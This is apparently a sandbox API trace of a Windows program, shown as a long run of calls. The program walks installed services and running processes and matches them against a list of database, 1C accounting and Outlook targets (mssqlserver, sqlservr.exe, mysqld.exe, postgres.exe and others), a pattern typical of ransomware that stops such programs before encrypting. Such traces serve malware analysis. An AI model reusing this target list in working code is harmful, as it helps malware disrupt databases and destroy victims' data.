lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.133] lstrlenW (lpString="Dnscache") returned 8 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0100.133] lstrlenW (lpString="DPS") returned 3 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.133] lstrlenW (lpString="eventlog") returned 8 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0100.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0100.133] lstrlenW (lpString="EventSystem") returned 11 [0100.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.133] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.133] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0100.134] lstrlenW (lpString="gpsvc") returned 5 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0100.134] lstrlenW (lpString="iphlpsvc") returned 8 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0100.134] lstrlenW (lpString="LanmanServer") returned 12 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0100.134] lstrlenW (lpString="LanmanWorkstation") returned 17 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0100.134] lstrlenW (lpString="lmhosts") returned 7 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0100.134] lstrlenW (lpString="MMCSS") returned 5 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0100.134] lstrlenW (lpString="MpsSvc") returned 6 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0100.134] lstrlenW (lpString="Netman") returned 6 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0100.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0100.134] lstrlenW (lpString="netprofm") returned 8 [0100.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0100.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0100.134] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0100.134] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0100.135] lstrlenW (lpString="NlaSvc") returned 6 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0100.135] lstrlenW (lpString="nsi") returned 3 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0100.135] lstrlenW (lpString="PcaSvc") returned 6 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0100.135] lstrlenW (lpString="PlugPlay") returned 8 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0100.135] lstrlenW (lpString="Power") returned 5 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0100.135] lstrlenW (lpString="ProfSvc") returned 7 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0100.135] lstrlenW (lpString="RpcEptMapper") returned 12 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0100.135] lstrlenW (lpString="RpcSs") returned 5 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0100.135] lstrlenW (lpString="SamSs") returned 5 [0100.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0100.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0100.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0100.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0100.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0100.136] lstrlenW (lpString="Schedule") returned 8 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0100.136] lstrlenW (lpString="SENS") returned 4 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0100.136] lstrlenW (lpString="ShellHWDetection") returned 16 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0100.136] lstrlenW (lpString="Spooler") returned 7 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0100.136] lstrlenW (lpString="SysMain") returned 7 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0100.136] lstrlenW (lpString="Themes") returned 6 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0100.136] lstrlenW (lpString="TrkWks") returned 6 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0100.136] lstrlenW (lpString="UxSms") returned 5 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0100.136] lstrlenW (lpString="WdiServiceHost") returned 14 [0100.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0100.136] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0100.136] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0100.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0100.136] lstrlenW (lpString="WdiSystemHost") returned 13 [0100.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0100.137] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0100.137] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0100.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0100.137] lstrlenW (lpString="Winmgmt") returned 7 [0100.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0100.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0100.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0100.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0100.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0100.137] lstrlenW (lpString="WPDBusEnum") returned 10 [0100.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0100.137] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0100.137] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0100.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0100.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4166030 | out: hHeap=0x4f0000) returned 1 [0100.137] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0100.138] Process32FirstW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.139] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.139] lstrlenW (lpString="System") returned 6 [0100.139] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0100.139] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0100.139] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.139] lstrlenW (lpString="smss.exe") returned 8 [0100.139] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0100.139] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.139] lstrlenW (lpString="csrss.exe") returned 9 [0100.139] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0100.139] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0100.140] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0100.140] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.140] lstrlenW (lpString="wininit.exe") returned 11 [0100.140] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0100.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0100.140] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.140] lstrlenW (lpString="csrss.exe") returned 9 [0100.140] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0100.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0100.140] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0100.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0100.140] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.141] lstrlenW (lpString="winlogon.exe") returned 12 [0100.141] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0100.141] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0100.141] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0100.141] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0100.141] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.141] lstrlenW (lpString="services.exe") returned 12 [0100.141] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.141] lstrlenW (lpString="lsass.exe") returned 9 [0100.141] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0100.141] lstrlenW (lpString="lsm.exe") returned 7 [0100.141] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.142] lstrlenW (lpString="svchost.exe") returned 11 [0100.142] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.142] lstrlenW (lpString="svchost.exe") returned 11 [0100.142] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.142] lstrlenW (lpString="svchost.exe") returned 11 [0100.142] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.142] lstrlenW (lpString="svchost.exe") returned 11 [0100.142] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.143] lstrlenW (lpString="svchost.exe") returned 11 [0100.143] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.143] lstrlenW (lpString="audiodg.exe") returned 11 [0100.143] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.143] lstrlenW (lpString="svchost.exe") returned 11 [0100.143] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.143] lstrlenW (lpString="svchost.exe") returned 11 [0100.143] Process32NextW (in: hSnapshot=0x33c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0100.144] lstrlenW 